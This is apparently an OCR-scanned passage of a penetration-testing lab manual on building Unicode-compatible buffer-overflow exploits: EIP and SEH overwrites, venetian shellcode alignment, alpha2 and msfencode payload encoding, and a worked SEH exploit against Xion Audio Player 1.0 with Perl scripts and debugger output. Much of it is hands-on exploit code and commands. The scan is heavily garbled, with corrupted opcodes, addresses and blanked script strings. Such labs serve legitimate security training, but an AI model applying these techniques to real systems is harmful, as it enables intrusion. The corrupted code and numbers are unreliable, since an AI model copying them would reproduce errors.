CreateProcessW (Unicode) or CreateProcessA (Ansi), based on the status of the macro.

What is the result of unicode conversion / impact on exploit building ?

When an input string is converted to ansi unicode, for all characters between 0x00 and 0x7f, a null byte 1s
prepended. Furthermore, a lot of characters above 0x7f are translated into 2 bytes, and these 2 bytes may not
necessarily contain the original byte.

This breaks everything we have learned about exploits and shellcode so far.

In all previous tutorials, we attempt to overwrite EIP with 4 bytes (excluding intentionally partial overwrites),
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With Unicede, you only control 2 out of these 4 bytes (the other 2 are most likely going to be nulls... soina
way, you control those nulis t00)

Furthermore, the available instruction set (used for jumping, for shellcode, etc) becomes limited. After all, a
null byte is placed before most bytes. And on top of that, other bytes (> 0x7{) are just converted to something

entirely different.

Even simple things such as a bunch of nops (0%90) becomes a problem. The first nop may work. The second
nop will (due to alignment) becomes instruction 0090 (or 009000)... and that’s not a nop anymore.

So that sound like a lot of hurdles to take. No wonder at first people thought this was not exploitable...

Can we build an exploit when our buffer is converted to unicode ?

First of all

First of all, you will learn that there is no catch-all template for building unicode exploits. Each exploit could
(and probably will) be different, will require a different approach and may require a lot of work and effort.
You’ll have to play with offsets, registers, instructions, write your own lines of venetian shellcode, etc... So
the example that WE will use today, may not be helpful at all in your particular case. The example WE will
use is just an example on how to deploy various techniques, basically demonstrating the ways of building your
own lines of code and put everything together to get the exploit do what you want it to do.

EIPis 0x00410041. Now what ?

In the previous tutorials, we have discussed 2 types of exploits : direct RET overwrite or SEH overwrites.
These 2 types of overwrites are, of course, still valid with unicode exploits. In a typical stack based overflow,
you will either overwrite RET with 4 bytes (but due to Unicode, only 2 bytes are under your control), or you a
overwrite the Structured Exception Handler record fields (next SEH and SE Handler) each with 4 bytes, again
out of which only 2 are under your control.

How can we still abuse this to get EIP do what we need it to do 7 The answer is simple : overwrite the 2 bytes
at EIP with something useful.

Direct RET : overwriting EIP with something useful

The global idea behind “jumping to your shellcode” when owning EIP is still the same, whether this is an
ASCII or unicode buffer overflow. In the case of a direct RET overwrite, you will need to find a pointer to an
instruction (or series of instructions) that will take you to your shellcode, and you need to overwrite EIP with
that pointer. So you need to find a register that points to your buffer (even if it contains null bytes between
every character — no need to worry about this yet), and you will need to jump to that register.

The only problem is the fact that you cannot just take any address. The address you need to look for needs to be
‘formatted’ in such a way that, if the 00°s are added, the address is still valid.

So essentially, this leaves us only with 2 options :
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I. find an address that points to your jump/call/... instruction, and that looks like this : 0x00nn00mm. So if YOUu
overwrite RET with Oxnn,Oxmm it would become 00nn00mm

or, alternatively, if you cannot find such an address :

2. find an address that is also formatted 0x00nn00mm, and close to the call/jump/... instruction that you want to
execute. Verify that the instructions between the address and the actual call/jump address will not harm your
stack/registers, and use that address.

How can we find such addresses ?

FX has written a nice plugin for ollydbg (called OllyUNI), and the pvefindaddr plugin for ImmDbg will assist

¢ you with this task as well:

Let’s say you need to jump-to eax. Take the pvefindaddr.py program on the desktop of your VM and put it in
the pyCommand folder of your InmDbg installation. Then open the vulnerable application in ImmDbg and run

»Ipvefindaddr i eax

* This will list alf addresses to “jump eax”. These addresses will not only be displayed in the log view, but they
will also be written to a text file called j.txt.

Open this file and search for “Unicode”,

You may find 2 types of entries : entries that says “Maybe Unicode compatible™ and entries that say “Unicode
compatible”.

If you can find “Unicode compatible” addresses, then these are addresses in the 0x00nn00mm form. (So you
should be able to use one of these addresses without further investigation)

-~ If you find “Maybe Unicode compatible” addresses, then you need to look at these addresses. They will be in
the Ox00nnOmmm form. So if you look at the instructions between 0x00nn00mm and 0x00nnOmmm, and you
- see that these instructions will not harm the application flow/registers/. .., then you can use the 0x00nn00mm
- address (and it will step alf the way until it reaches the call/jump instruction at 0x00nnOmmm). In essence you
will be jumping more or less close/near the real jump instruction, and you hope that the instructions between

. your location and the real jump will not kill you :-)

OllyUNI will basically do the same. It will look for Unicode friendly addresses. In fact, it will look for all
. call/jump reg/... instructions (so you'll have to go through the log & see if you can find an address that Junmps

to the desired register.
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Basically, we are looking for addresses that contain null bytes in the right place. If EIP contains 0x00nn00mm,
then you must find an address with the same format. If EIP contains Oxnn0O0mmOO0, then you must find an

address with this format.

In the past, we have always tried to avoid null bytes because it acts as a string terminator. This time we need
addresses with null bytes. We don’t need to worry about string termination because we are not going to put the
null bytes in the string that is sent to the application. The unicode conversion will insert the null bytes for us

automagically.

Let’s assume you have found an address that will make the jump. Let’s say the address is 0x005E0018. This
address does not contain characters that have a hex vatue > 7f. So the address should work.

We assume you have figured out after how many bytes you will overwrite saved EIP. (You may able to use a
metasploit pattern for this, but you’il have to look at the bytes before and after overwriting EIP, in order to get
at least 4 characters). WE’H show an example on how to do the match later on in this lab.

Suppose you overwrite EIP after sending 500 A’s. And you want to overwrite EIP with “jump eax (at
0x005e0018)” (because EAX points to the A’s), then your script should look like this :

;my $junk=" " x 500;
my $ret=" "
“my S$payload=$junk.Sret;

So instead of overwriting EIP with pack(‘V’,0x005E0018), you overwrite EIP with 5E 18. Unicode adds null
bytes in front of 5E, and between 5E and 18, so EIP will be overwritten with 005¢0018

(The string-to-widechar conversion took care of adding the nulls right were we wanted them to be. Step 1
accomplished.)
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SEH based : owning EIP -+ short jump ? (or not ?)

What if the vulnerability is SEH based 7 From lab part 3 and 3b, we have learned that we should overwrite SE
Handler with a pointer to pop pop ret, and overwrite nSEH with a short jump.

With unicode, you still need to overwrite SE Handler with a pointer to pop pop ret. Again, pvefindaddr wiil
help us :

_ lpvefindaddr p2

Again, this will write output to the log, and also to a file called ppr2.txt. Open the file and look for “Unicode”
again. If you can find an entry, that does not contain bytes > 7£, then you can try to overwrite SE Handler with
this address. Again, leave out the null bytes (they will be added automatically due to unicode conversion). Af
nseh, put \xeelxee (2 breakpoints, 2 byte. Again, null bytes will be added), and see what happens.

If all goes well, pop pop ret is executed, and you will be redirected to the first breakpoint.

In non-unicode exploits, one would need to replace these breakpoints at nseh with a short jump and jump over
the SE Handler address to the shellcode. But WE can assure you, writing short jump in unicode, with only 2
bytes, separated by null bytes... doa’t count on it. It won’t work.

So it ends here.

SEH based : jump (or should WE say ‘walk’ ?)

Ok. It does not end here. WE was just kidding. We can make this work, under certain conditions. WE will
explain how this works in the example at the bottom of this lab, so WE’ll stick to the theory for now.
Everything will become clear when you look at the example, so don’t worry. (and if you don’t understand, just
ask. WE’ll be more than happy to explain)

The theory is : instead of writing code to make a short jump (0xeb,0x06), perhaps we can have the exploit run
harmless code so it just walks over the overwritten nseh and seh, and ends up right after where we have
overwritten SEH, executing code that is placed after we have overwritten the SE structure. This is in fact
exactly what we wanted to achieve in the first place by jumping over nSEH and SEH.

In order to do this, we need 2 things :

- a couple of instructions that will, when executed, not cause any harm. We need to put these instructions in
nSEH and

- the unicode compatible address used to overwrite SE Handler must, when executed as instructions, not cause
any harm either.

Sound confusing 7 Don’t panic. WE will explain this further in detail in the example at the bottom of this blog
lab.
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So we can only put 0x00nn00nn in EIP ?

Yes and no. When you look back at a unicode translation table, you may have some other options next to the
obvious 0x00nn00nn format

Ascil values represented in hex > 0x7f are translated differently.

For example 0x82 becomes 1A20. So if you can find an address in the format 0x00nn201A, then you can use
the fact that 0x82 gets converted into 201 A.

The only 1ssue you may have with this, if you are building a SEH based exploit, it could lead to an issue,
because after the pop pop ret, the address bytes are executed as instructions. As long as the instructions act as
nops or don’t cause any big changes, it’s fine. WE guess you just have to test all available “unicode
compatible” addresses & see for yourself if there is an address that would work. Again, you can use pvefindaddr
(Immdbg plugin) to {ind usable pop pop ret addresses that are unicode compatible.

The addresses you could ook for, would either start or end with

ac20 (=80 ASCII), 1a20 (=82 ASCII), 9201 (=83 ASCII), 1e20 (=84 ASCII), and so on (just take a look at the
translation table. ). Success is not guaranteed, but it’s worth while trying.

Ready to run shellcode... But is the shellcode ready ?

Ok, now we know what to put in EIP. But if you look at your ASCII shellcode : it will also contain null bytes
and, if it was using instructions (opcodes) above 0x7f, the instructions may have even changed. How can we
make this work 7 Is there a way to convert ASCII shellcode (just like the ones that are generated with

metasploit) into unicode compatible shellcode ? Or do we need to write our own stuff 7 We’re about to find

out:
Shelicode : Technique 1 : Find an ASCII equivalent & jump to it

In most cases, the ASCII string that was fed into the application gets converted to unicode after it was put on the
stack or in memory. That means that it may be possible to find an ASCII version of your shellcode somewhere.
So if you can tell EIP to jump to that location, it may work.

If the ASCII version is not directly reachable (by jumping to a register), but you control the contents of one of
the registers, then you can jump to that register, and place some basic jumpcode at that location, which wili
make the jump to the ASCII version. We will talk about this jumpcode later on.

A good example of an exploit using this technique can be found here

Shellcode : Technique 2 : Write your own unicode-compatible shellcode from scratch

Right. It’s possible, not easy, but possible. .. but there are better ways. (see technique 3)
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Ok, we know that the shellcode generated in metasploit (or written yourself) will not work. If the shellcode was
not written specifically for unicode, it will fail. (null bytes are inserted, opcodes are changed, etc).

Fortunately, a couple of smart people have build some tools (based on the concept of venetian shellcode) that
will solve this issue.

In essence, it boils down to this : You need to encode the ASCII shellcode into unicode-compatibie code,
prepend it with a decoder (also unicode-compatible). Then, when the decoder is executed, it will decode the
original code and execute it.

There are 2 main ways to do this : either by reproducing the original code in a separate memory location, and
then jump to that location, or by changing the code “in-line” and then running the reproduced shellcode. You
can read all about these tools (and the principles they are based on) in the corresponding documents, referred to
at the beginning of this blog lab. The first technique will require 2 things : one of the registers must point at the
beginning of the decoder+shellcode, and one register must point at a memory location that is writeable (and
where 1t’s ok to write the new reassembled shellcode). The second technique only requires one of the registers
to point at the beginning of the decoder+shellcode, and the original shellcode will be reassembled in-place.

Can we use these tools to building working shellcode, and if so, how should we use them ? Let’s find out.

1. vense.pl

The output of this script is a byte string, containing a decoder and the original shellcode all-in-one. So instead
of placing your metasploit generated shelicode in the buffer, you need to place the output of vense.pl in the

buffer.

In order to be able to use the decoder, you need to be able to sct up the registers in the following way : one
register must point directly at the beginning of the buffer location where your shellcode (vense.pl generated

shellcode) will be placed.
(In the next chapter, WE will explain how to change values in registers so you can point one register to any
location you want.). Next, you need to have a second register, that points at a memory location that is writable

and executable (RWX), and where it is ok to write data to (without corrupting anything else).

Suppose the register that will be set up to point at the beginning of the vense-generated shelicode is eax, and edi
points to a writable location :

edit vense.pl and set the $basereg and $writable parameters to the required values.
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Next, scroll down, and look for $secondstage

Remove the contents of this variable and replace it with your own (metasploit generated) perl shellcode. (This is
the ASCII shellcode that will get executed after the decoder has done its work.)
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Save the file, and run the script.

The output will show :

- the original shellcode

- the new shellcode (the one that includes the decoder).

Now use this ‘new’ shellcode in your exploit and make sure eax points at the beginning of this shellcode.
You'll most likely will have to tweak the registers (unless you got lucky).

When the registers are set up, simply run “jump eax” and the decoder will extract the original shelicode and run
it. Again, the next chapter will show you how to set up/tweak the registers and make the jump using unicode-

compatible code.

Notel : this newly generated encoder+shellcode will ONLY work when it gets converted to unicode first, and
then executed. So you cannot use this type of shellcode in a non-unicode exploit.

Note 2 : despite the fact that the algorithm used in this script is an improvement over makeunicode2 py, you'll
still end up with quite long shellcode. So you need proper buffer space (or short, non-complex shellcode) in
order to be able to use this technique.
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2. alpha? (SkyLined)

The famous alpha2 encoder (also adopted in other tools such as metasploit, and a bunch of other tools) will take
your original shellcode, wrap it in a decoder (pretty much like what vense.pl does), but the advantage here 15

- you only need a register that points at the beginning of this shellcode. You don’t need an additional register
that 1s writable/executable.

- the decoder will unwrap the original code in-place. The decoder is self-modifying, and the total amount of the
required buffer space is smaller.

(the documentation states “The decoder will changes it’s own code to escape the limitations of alphanumeric
code. It creates a decoder loop that will decode the original shellcode from the encoded data. If overwrites the
encoded data with the decoded shellcode and transfers execution to it when done. To do this, it needs read,
write and execute permission on the memory it’s running in and it needs fo know it’s location in memory (it’s
baseaddress}” '

This 1s how it works :
I. generate raw shellcode with msfpayload

2. convert the raw shellcode into a unicode string using alpha?2 :

" root@btd:/# cd pentest
" root@btd:/pentest# cd exploits/
root@bt4: /pentest/exploits# cd framework3

./mefpayload windows/exec CMD=calc R > /pentest/exploits/runcalc.raw

root@btd: /pentest/exploits/framework3# cd ..
root8btd: /pentest/exploitst cd alphaz

./alpha2 eax --unicode --uppercase < /pentest/exploits/runcalc.raw

: PPYAIAIAIAIAQATAXAZAPA3QAD. . .OLJA

(WE have removed the largest part of the output. Just generate your own shellcode & copy/paste the output into
you exploit script)

Place the output of the alpha2 conversion in your $shellcode variable in your exploit. Again, make sure the
register (eax in my example) points at the first character of this shellcode, and make sure to jmp eax (after

setting up the register, if that was necessary)

If you cannot prepare/use a register as base address, then alpha2 also supports a technique that will attempt to
calculate its own base address by using SEH. Instead of specifying a register, just specify SEH. This way, you
can just run the code (even if it’s not pointed to directly in one of the registers), and it will still be able to

decode & run the original shetlcode).

4. Metasploit
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Trying to generate unicode compatible shellcode with metasploit, but it wont work the way you expect it to.

root@krypt02: /pentest/exploits/framework3t

./mefpayload windows/exec CMD=calc R |
./msfencode -e x86/unicode upper BufferRegister=EAX -t perl

[~} =86/unicode_upper failed: BadChar; 0 to 1
(-] No encecders succeeded.

(Issue is filed at htips:/metasploit.com/redmine/issucs/430)

Stephen Fewer provided a workaround for this issue :

© ./msfpayload windows/exec CMD=calc R |
./msfencode -e x86/alpha_mixed -t raw |
./msfencode ~e x86/unicode upper BufferRegister=EAX -t perl

. Note: put everything on one line

This code basically: encodes with alpha_mixed first, and then with unicode_upper. The output will be unicode
compatible shellcode for perl

Putting one and one together : preparing registers and jumping to shellcode

In order to be able to execute shellcode, you need to reach the shellcode. Whether it’s an ASCII version of the
shellcode, or a unicode version (decoder), you will need to get there first. In order to do that, you will often be
required to set up registers in a particular way, by using your own custom venetian shellcode, and/or to write
code that will make a jump to a given register.

Writing these lines of code require a bit creativity, require you to think about registers, and will require you to
be able to write some basic assembly instructions.

Writing jumpcode is purely based on the venetian shellcode principles. This means that
- you only have a limited instruction set

- you need to take care of null bytes. When the code is put on the stack, null bytes will be inserted. So the
istructions must work when null bytes are added

- you need to think about opcode alignrment

Exampie 1.

Let’s say you have found an ASCII version of your shellcode, unmodified, at 0x33445566, and you have
noticed that you also control eax. You overwrite EIP with jump to cax, and now, the idea is to write some lines
of code at eax, which will make a jump to 0x33445566.
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If this would not have been unicode, we could do this by using the following instructions:

bb66554433 #mov ebx, 33445566h
ffe3 #jmp ebx

Note, you would have placed the following code at eax ;| \xbb\x66\x55\x44'x33 \x ff\xe3, and we would have
overwritten eip with “jump eax”.

But it’s unicode. So obviously this won’t work.

How can we achieve the same with unicode friendly instructions ?

Let’s take a look at the mov instruction first. “mov ebx” = Oxbb, followed by what you want to put in ebx. This
parameter needs to be in the 00nn00mm format (so, when null bytes are inserted, they would be inserted that

already contains nulls (or where we expect nulls), without causing issues to the instructions). You could for
example do mov ebx, 33005500, The opcode for this would be

bb00550033  #mov  ebx, 330055000

So the bytes to write at eax (in our example) are \xbb\x55\x33. Unicode would insert null bytes, resulting in
wbbix00\x55\x00\x 33, which is in fact the instruction we need.

The same technique applies to add and sub instructions.

You can use inc, dec instructions as well, to change registers or to shift positions on the stack.

Going back to our example, we want to put 0233445566 in eax. This is how it’s done :

' mov eax, 0XAAD04400 ; set EAX to 0xAAG04400

i push eax

i dec esp

| pop eax ; EAX = 0x00440077
i add eax, 0x33005500 ; ERX = 0x33445577
§ mov al,0x0 ; EAYX = 0x3344550¢C
' mov ecx, OxAAC06600

§ add al,ch ; EAX now contains 0x33445566

If we convert these instructions into opcodes, we get :

- b8004400aa mnov eax, CAA004400h

' 50 push eax
cdc dec esp
58 poE eax
- 0500550033 add eax, 33005500h
- b0OOO mov al,o
. b800660Caa mov ecx, 0AA0066000
00e8 add al,ch
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And here we see our next problem. The mov and add instructions seem to be unicode friendly. But what about
the single byte opcodes 7 If null bytes are added in between them, the instructions are not going to work
anymore.

Let’s see what we mean
The instructions above would be translated into the following payload string :

\xb8Wwd4\xaa\x S0x4c\x 58\ 05\% 5533 xb0\x b9 \x 66\xaa\xe8

or, in perl :
my Salign=*" - " #mov eax, 0ARAQQ4400h
$align=8%align." "y #push eax
Salign=%$align." "; #dec esp

¢ Salign=%align." "y #pop eax

 Salign = Salign.” ";  #add eax, 3300550Ch

' $align=%align." ", fmov al, 0

- Salign=$align." " #mov ecx, 0AR0660N
| Salign=Salign." " fadd al,ch

When seen in a debugger, this string is converted into these instructions :

' 0012f2b4 bB004400aa mov eax, 0ARC004400h

- .1 0012£2p9 005000 add byte ptr [eax},dl
(1 0012£2bc 4c dec esp
1 0012f2bd 005800 add byte ptr [eax],bl
(0012£2c0 0500550033 add eax,oliset <Uniocaded papi.dll>+0x330054ff (33005500)
11 0012£2¢5 00k0O00ObLOG0GS add byte ptr [eax+5600B%0Ch},dh
£ 0012£2ch 00aa00e80050 add byte ptr [edx+3000E800h],ch

Ouch - what a mess. The first one is ok, but starting from the second one, it’s broken.

So it looks like we need to find a way to make sure the “push eax, dec esp, pop eax” and other instructions are
mterpreted in a correct way.

The solution for this is to insert some safe instructions (think of it as NOPs), that will allow us to align the null
bytes, without doing any harm to the registers or instructions. Closing the gaps, making sure the null bytes and
instructions are aligned in a proper way, is why this technique was called venetian shellcode.

In our case, we need to find instructions that will “eat away” the null bytes that were added and causing issues.
We can solve this by using one of the following opcodes (depending on which register contains a writable
address and can be used) :

00 6E 00:add byte ptr [esi],ch
. 00 &F 00:add byte ptr [edi],ch
00 70 00:add byte ptr [eax],dh
0C 71 C00:add byte ptr [ecx],dh
00 72 00:add byte ptr {edx],dh
.00 73 00:add byte ptr [ebx],dh
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(62, 6d are 2 others that can be used — be creative & see what works for you)

So, if for example esi is writable (and you don’t mind that something is written to the location pointed to by that
register), then you can use \x6¢ between {wo instructions, in order to align the null bytes.

Example :
my Salign=" " #mov eax, 0AADCG4400h
Salign=$Salign." " #nop/align null bytes

© Salign=Salign." " #push eax

C Salign=Salign." " dnop/align null bytes

“ Salign=Salign." " #dec esp

. Salign=S%align." " #noep/align null bytes
Salign=%align.” " #pop eax
$align=3%align.™ vy fnop/align null bytes
$align = $%align.” v #add eax,33005500h
$align=S$align." " #nop/align null bytes
Salign=%align."” " #mov al,C
#no alignment needed bhetween these 2 !

{ $align=%align." " fmov ecx, 0AAD660NL

{ Salign=$align.” " #nop/align null bytes

In the debugger, the instructions now look like this :

0012£f2b4 b8004400aa mov eax, 0ARG04400h

{ 0012£2b9 006200 add byte ptr [esi],ch
0012f2bc 50 push eax
0012£2bd 00600 add byte ptr [esi],ch
0012£2¢0 4c dec esp

}0012f2cl 00600 add byte ptr [esi],ch

P 0012f2c4 58 oD eax

;| 0012£2c5 006200 add byte ptr [esi],ch

S 0012f2¢8 0500550033 add eax,offset <Unloaded papi.dll>+0x330054ff (33005500)

S 0012f2cd 00600 add byte ptr [esi],ch

£ 0012f2d0 bCOO mov at, 0

[ 0012f2d2 bS0066C0aa mov ecx, CAAQ006600h

. 0012£2d7 006e00 add byte ptr [esi],ch

This looks much better. As you can see, you will have to play with this a little. It’s not a matter of putting \x6e
between every two instructions, you need to test what the impact is and align accordingly.

Ok, so at this point, we have managed to put an address 1n eax.

All we now need to do is jump to that address. Again, we need a couple lines of venetian code for this. The
easiest way to jump to eax is by pushing eax to the stack, and then returning to the stack (push eax, ret)

In opcode, this is :

" 50 ;push eax
c3 ;ret
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(C3 should get converted to C300.)

In venetian code, this is \x50\x6e\xc3.

At this point, we have accomplished the following things

- we have overwritten EIP with a useful instruction

- we have written some lines of code to adjust a value in one of the registers

- we have jumped to that register.'

If that register contains ASCIJ shetlcode, and it gets executed, then it’s game over.

Note : of course, hardcoding an address is not recommended. Tt would be better if you use an offset value based
on the contents of one of the registers. You can then use add and sub instructions to apply the offset to that
register, in order to get it to the desired value.

Note 2 : If instructions do not get translaied correctly, you may be using a different unicode translation (perhaps
due to language & regional options), which heavily influences the success of exploitation. Check the translation
table of FX, and see if you can find another byte that, when converted to unicode, will do what you want it to
do. Example : if for example 0xc3 does not get translated to 0xc3 0x00, then you can see if the unicode
conversion is using the OEM code page. In that case, 0xc7 would get converted to 0xc¢3 0x00, which can help
you building the exploit,

Example 2 :

Suppose you want to put the address ebp +300 into eax (so you can then jump to eax), then you will have to
write the required assembly instructions first and then apply the venetian shelicode technique so you can end up
with code that will get executed when converted to unicode.

Assembly to put ebp+300h in eax :

' push ebp ; put the address at ebp on the stack

pop eax ; get address of ebp back from the stack and put it in eax
. .iadd eax,11001400 ; add 11001400 to eax
i sub eax, 11001100 ; subtract 11001100 from eax. Result = eax+300

In opcode, this is :

55 push ebp

© 58 pop eax
0500140011 add eax, offset XXAXX+0x1400 (11001400)
cffgsel XXXEX+0x1100 (11001100)

2d00110011 sul eax,
After applying the venetian shellcode technique, this is the string we need to send :

lmy Salign=" "; #push ebp

Copyright InfoSec Institute, Inc. | Expert Penetration Testing Lab Manual



$align=%align." "; #align

Salign=5%align." " #pop eax
$align=%align." " $align
Salign=%align." " fadd eax, 0211001400
" $align=Salign." o #align
Salign=%align." " fsuly eax,0x11001100
Salign=%align." "; #align

In the debugger, this looks like this :

001z2f2b4 55 push ebp

CO012f2b5 00600 add byte ptr [esil,ch
" Q012f2b8 58 pop eax
- 0012£2b9 006e00 add byte ptr [esi],ch
S 0012f2bc 0500140011 add eax,offset XXXX+0x1400 {11001400)
Q012£2¢cl 006e00 add byte ptr {esi),ch
L 0012f2¢c4 2400110011 Sul eax,offset XXXX+0x1100 {11001100)

: 00128205 008600 add. bvte per lesil.ch
Cool. We win.

Now put the components together and you have a working exploit :
- put something meaningful in eip

- adjust registers if necessary

- jump & run the shellcode (ASCII or via decoder)

Building a unicode exploit — Example 1

In order to demonstrate the process of building a working unicode-compatible exploit, we’ll use a vulnerability
in Xion Audio Player v1.0 (build 121). Look in your vulnerable programs to exploit folder for the ga-
xion_v1.0b121.zip archive. This will contain the Xion Audio Player to install.

The PoC code published by Dragln Rider indicates that a malformed playlist file (.m3u) can crash the
application. Here is the simple PoC Code:

:my Scrash = " "o 5000;
open(myfile, '>DragonR.m3u’') ;
print myfile S$crash;

Open the application (in windbg or any other debugger), right-click on the gui, choose “playlist” and go to
“File” - “Load Playlist”. Then select the m3u file created by this script and see what happens.

Result :

(e54.a28): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
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. This exception may be expected and handled.
2ax=00000041 ebx=01%ca7ec ecx=02db3e60 edx=00130000 esi=01%ca77d0 edi=0012f298

eip=0laecZab esp=0012e84c ebp=0012£208 iopl=0 nv up el pl nz na pe nc
cs=001b 8s=0023 ds=0023 " es=0023 £s=003b gs=0000 efl=00210206
DefaultPlaylistiXionPluginCreate+(Cx18776;

Olaec2ab 668902 mov word ptr [edx],ax ds:0023:00130000=6341

" Missing image name, possible paged-out or corrupt data.
: Missing image name, possible paged-out or corrupt data.
‘Missing image name, possible paged-out or corrupt data.
; 0:000> !exchain :

. image00400000+10041 (00410041)

- Invalid exception stack at 00410041

The SE structure was overwritten and now contains 00410041 (which is the result of the unicode conversion of
AA)

In a ‘normal’ (ASCII) SEH overwrite, we need to overwrite the SE Handler with a pointer to pop pop ret, and
overwrite next SEH with a short jump.

So we need to do 3 things :

- find the offset to the SE structure

- find a unicode compatible pointer to pop pop ret

- find something that will take care of the jump

First things first : the offset. Instead of using 5000 A’s, put a 5000 character metasploit pattern in $crash.

Result :

 First chance exceptions are reported before any exception handling.
il This exception may be expected and handled.
i 2ax=0000006e ebx=02ed45ebc ecx=02dpT7708 edx=00130000 esi=02e45e50 edi=0012£298

: eip=0laecZaé esp=0012e84c ebp=0012f2b8 iopl=0 nv up ei pl nz na po nc
cs=001b ss5=0023 ds=0023 es=0023 fs=003b gs=0000 efl1=00210202
‘i DefaultPlaylist!XionPluginCreate+0x18776;
t Olaec2a6 668302 mov word ptr [edx},ax ds:0023:00130000=6341

* ‘P Missing image name, possible paged-out or corrupt data.

Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.

.i 0:000> l'exchain

. 0012f2ac: BASS FX+69 (00350069)
C Invalid exception stack at 00410034

0:000> d 0012f2ac
' 0012f2ac 34 00 41 00 ~41 00 69 00 36 00 21 00 4.A.we.5.A.we.6.A.

0012£2bc 69 00 37 00 41 00 69 00-38 00 41 00 69 00 39 G0 we.7.A.we.B.A.we.9.
. 0012f2cc 41 00 6a 00 30 00 41 0C-6a 00 21 00 41 00 6a 00 A.9.0.A.5.1.A.5.
" 0012f2dc 32 00 41 00 6a 00 33 00-41 00 6a 00 34 00 41 00 2.A.95.3.A.7.4.A.
.. 0012f2ec 6a 00 35 00 41 00 6a 00-36 00 41 00 6a 00 37 00 9.5.A.5.6.A.7.7.
0012f2fc 41 00 6a 00 38 00 41 00-6a 00 39 00 41 00 6b 00 A.3.8.A.9.9.A.k.
0.A.%k.1.A.k.2.A.

g C012£30c 30 00 431 €O 6b 00 31 00-41 00 &b 00 32 00 41 0C
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~0012£31c &b 00 33 00 41 00 6b 00-34 00 41 00 6b 00 35 €0 k.3.A.k.4.A.k.5.

When we dump the SE structure (d 0012f2ac, we can see next SEH (in red, contains 34 00 41 00) and SE
Handler (in green, contains 69 00 35 00)

In order to calculate the offset, we need to take the 4 bytes taken from both next SEH and SE Handler together,
and use that as the offset search string : 34 41 69 35 > 0x35694134

- xxxx@bt4 ~/framework3/tools
: § ./pattern offset.rb 0x356%4134 5000
: 254

ok, so the script below should

- make us hit the SE structure after 254 characters

- overwrite next SEH with 00420042 (as you can see, only 2 bytes are required)
- overwrite SE Handler with 00430043 (as you can see, only 2 bytes are required)
- add more junk

Code :

my S$Stotalsize=5000;
my $junk = " " x 254;
my S$nseh=" ";

! my $seh=" ",
i my Smorestuff="

11

® (5000-length($junk.$nseh.$seh))

: $payleoad=$%junk. $nseh.$seh.$morestuff;

| First chance exceptions are reported before any exception handling.

topen(myfile, '>infosectest.m3u’);

print myfile $Spayload;
close (myfile);
print ™. - ".length($payload)." - . "y

Result:

[ This exception may be expected and handled.

" eax=00000044 ebx=01%cd4e54 ecx=02db3710 edx=00130000 esi= 019C4e38 edi=0012£298
i @ip=0laeccZab esp=0012e84c ebp=0012£f2b8 iopl=0 nv up el pl nz na pe nc
D cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl1=00210206

f DefaultPlaylisti{ionPluginCreate+0x18776:

i 0laesc2aé 668902 noev word ptr [edx],ax ds:0023:00130000=6341
? Missing image name, pcssible paged-out or corrupt data.

' Missing image name, possible paged-out or corrupt data.

f Missing image name, possible paged-out or corrupt data.

: 0 OOO> lexchain
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C012f2ac:
image00400000+30043

0:000> d 0012f2ac

0012f£2ac 42 00 42 00 43
001Z2f2bc 44 00 44 00 44
0012f2cc 44 GO 44 00 44
COLZf2dc 44 90 44 00 44
0012f2ec - 44 00 44 00 44
0012£2fc 44 00 44 00 44
0012£30c 44 00 44 00 44
0012f31c 44 GO 44 00 44

Note that SE Structure is nicely overwritten, and we can see the D’s from $morestuff placed right after we have

overwritten the SE structure.,

The next step is finding a good pointer to pop pop ret. We need an address that will perform a pop pop ret even

0o
00
0o
00
0c
00
a0
00

(00430043)
Invalid exception stack at 00420042

43
44
44
44
44
44
44
44

if the first and third bytes are nulls)

My pvefindaddr plugin for ImmDbg will help you with that. Open ImmDBG and load xion.exe in the
debugger. Run the application, go to the playlist dialog, select “File”, “Load Playlist” but don’t load the playlist.

file.

00-44
0044
0C0-44
00-44
00-44
00~-44
00-44
00-44

00
00
090
Y
00
ac
00

0o

44
44
44
44
44
44
44
44

Go back to the debugger and run !pvefindaddr p2

This will launch a search for all pop/pop/ret combinations in the entire process memory space, and write the

00
00
00
00
00
00
co
00

44
44
44
44
44
44
44
44

Go
0c
0c
a0
00
00
00
00

44
44
44
44
44
44
44
44

00
00
a0
00
0o
00
00
0o

COoOUTooOUwUUw
oo UoOooDom

output to a file called ppr2.txt. This process can take a long time, so be patient.

meiksnety Inc\Innondy Debugger o
e i e )T Diata Mo
' 1KB BAK S097200)
3KE BAKFike 0200
LKE BAKFia 12 fuaz
1L.BEZKB  BAK Fiks 311200
12KB  Configuration Settings 64114200
WeKE PYDFR 180242
Z5KB  Text Docuriert 18402420
ZKB  Test Document PRYvas
i3] GKE  Text Docwrent H10/200
& »t | QKB Text Document 11200
(2] LICENSE Ext L9 KB Text Docurent 15ftzf20
3468 Text Docunert 6411420¢
[ anged udd SKE LD 1042,

16056ESD; Found pep sbel pob

SBRDFOSD: Search conplety

BEADFRED: Qutput weitten to
GBADFEED Found 25168

jwiwilwilvBwiEvilvile]
jwBlwlwiviviiel e le]

(iR w il wil el wilw B w B w)
oo oogoou

CoOooouoow

CouoUTocoowo

Copyright InfoSec Institute, Inc. | Expert Penetration Testing Lab Manuam



When the process has completed, open the file with your

following command :

; C:\Program Files\Immunity Inc\Immunity

ret
ret
ret
ret
ret
ret
ret
ret
ret
ret
rat
ret
ret
ret
ret
ret
ret
ret
ret
ret
ret
¢ ret
| ret
i ret
i ret
ret
ret
ret
ret
ret
ret
ret
ret
ret
ret
ret
ret
ret
ret
ret
ret
ret
ret
ret
ret
ret

at
at
at
at
at
at
at
at
at
at
at
at
4
at
at
at
at
at
at
at
at
at
at
at
at
at
at
at
at
at
at
at
at
at
at
at
at
at
at
at
at
at
04
¢4
G4
at

*x

0x00470BBS
0x0047073F
0x004107D2
Ox004107FE
0x00480A93
0xQ0450015
0x0045048B
0x0047080C
0x00470F41
0x00470FSC
0x004800F5 [xion.exe]
0x004803FE [xion.exe]
at 0x00480CEF [xion.exe]
0x00470907 [xion.exe] **
CxC0470C9A [xion.exe]
O0x00470CDY [xion.exe]
0x00470008 [xion.exe]
0x00430%DA [xion.exe]
0x00430ABR {xicn.
0x00480C26 {xion.
Ox0C450AFE [xion.
O0x00450K849 [xion.
0200470136 [xion.
0x00470201 [xion.
0x00470225 [xion.
0x004704E3 [xion.
Ox0047060A [xion.ce
0x00470719% [xion.
OxC04707A4 [xion.
000470854 [xion.
